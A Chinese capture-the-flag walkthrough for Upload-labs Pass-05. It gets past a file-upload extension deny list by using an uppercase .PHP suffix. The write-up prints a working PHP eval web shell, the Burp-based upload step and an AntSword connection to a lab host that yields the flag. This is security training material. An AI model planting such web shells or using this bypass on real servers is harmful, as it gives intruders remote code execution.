Upload labs Linux Pass-05通关详解

Pass-05 大小写绕过

1.查看源码

  

$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");

通过观察$deny_ext信息 我们可以发现此题过滤了以.php以及.pHp文件后缀的文件 所以我们尝试上传以.PHP为后缀的文件

2.上传abc.php文件

文件内容为<?php @eval($_POST['pwd']);?>

通过bp抓包

修改文件后缀为.PHP

放行后，我们发现上传成功， 接下来尝试使用蚁剑查看详细信息

3. 利用蚁剑查看详细信息

1）输入url地址 http://d3c646f6-352a-4b07-8b90-6cbc0788ec3a.node5.buuoj.cn:81/upload/abc.php

输入连接密码：pwd

测试连接 连接成功

2）添加数据 双击打开 在目录里查找flag信息

最后在根目录下找到了flag

即flag{fd7e698b-cc14-4c1a-9adc-ebef0911d47f}

本题完成